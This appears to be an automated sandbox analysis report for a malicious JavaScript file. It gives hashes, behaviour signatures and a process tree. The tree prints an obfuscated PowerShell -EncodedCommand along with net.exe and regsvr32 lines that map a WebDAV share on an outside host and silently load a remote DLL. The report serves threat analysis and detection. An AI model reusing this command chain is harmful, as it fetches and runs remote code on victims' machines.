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Analysis

  • max time kernel
    132s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/08/2024, 15:57

General

  • Target

    a4d988e16af841243a863f4e0b905431c9e6d66b9746657e259e6b13db75db25.js

  • Size

    13KB

  • MD5

    c0ed197aef6e402ba2f1f286ef7a5e0b

  • SHA1

    50dddbc2aad2e5c20f84b146718aae109ac184bc

  • SHA256

    a4d988e16af841243a863f4e0b905431c9e6d66b9746657e259e6b13db75db25

  • SHA512

    6fb36968dbc7a00471258f2df63a7adacafca53d7750f199c440fb502a7fa3d0b27c208de824792b9107b1dc11df6c4acbe5038ae897d98258c9f27fa331bd7f

  • SSDEEP

    96:6To/qCXep9vYcV9YDuHDwDQDmFouDylnCDoDnDVLD5ouDylnCDoDnDiND:1qCu9nV9YKHccwWlnCkDRLrWlnCkDm5

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\a4d988e16af841243a863f4e0b905431c9e6d66b9746657e259e6b13db75db25.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADMAMwA5ADgAMwAyADUAMwAxADQAMAA2ADgALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1796
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:4484
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\3398325314068.dll
          3⤵
            PID:900

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3m1aidzp.xlb.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1796-0-0x00007FFC10373000-0x00007FFC10375000-memory.dmp

        Filesize

        8KB

      • memory/1796-1-0x0000012A21AA0000-0x0000012A21AC2000-memory.dmp

        Filesize

        136KB

      • memory/1796-11-0x00007FFC10370000-0x00007FFC10E31000-memory.dmp

        Filesize

        10.8MB

      • memory/1796-12-0x00007FFC10370000-0x00007FFC10E31000-memory.dmp

        Filesize

        10.8MB

      • memory/1796-15-0x00007FFC10370000-0x00007FFC10E31000-memory.dmp

        Filesize

        10.8MB